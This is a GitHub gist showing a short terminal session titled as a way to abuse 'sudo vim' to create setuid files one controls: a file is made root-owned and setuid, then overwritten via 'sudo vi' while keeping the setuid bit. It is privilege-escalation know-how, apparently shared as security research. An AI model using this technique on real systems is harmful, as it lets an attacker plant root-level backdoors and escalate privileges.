Skip to content

Instantly share code, notes, and snippets.

@timb-machine
Last active December 13, 2022 15:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save timb-machine/5b81e6e433c3cb0062e53aae6cde0581 to your computer and use it in GitHub Desktop.
Save timb-machine/5b81e6e433c3cb0062e53aae6cde0581 to your computer and use it in GitHub Desktop.
Abusing sudo vim to create setUIDs you control
$ sudo chown root foo
Password:
$ sudo chmod u+rwxs foo
$ ls -la foo
-rwsr--r-- 1 root staff 0 13 Dec 15:19 foo
$ sudo vi foo
$ ls -la foo
-rwsr--r-- 1 root staff 1711088 13 Dec 15:19 foo
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment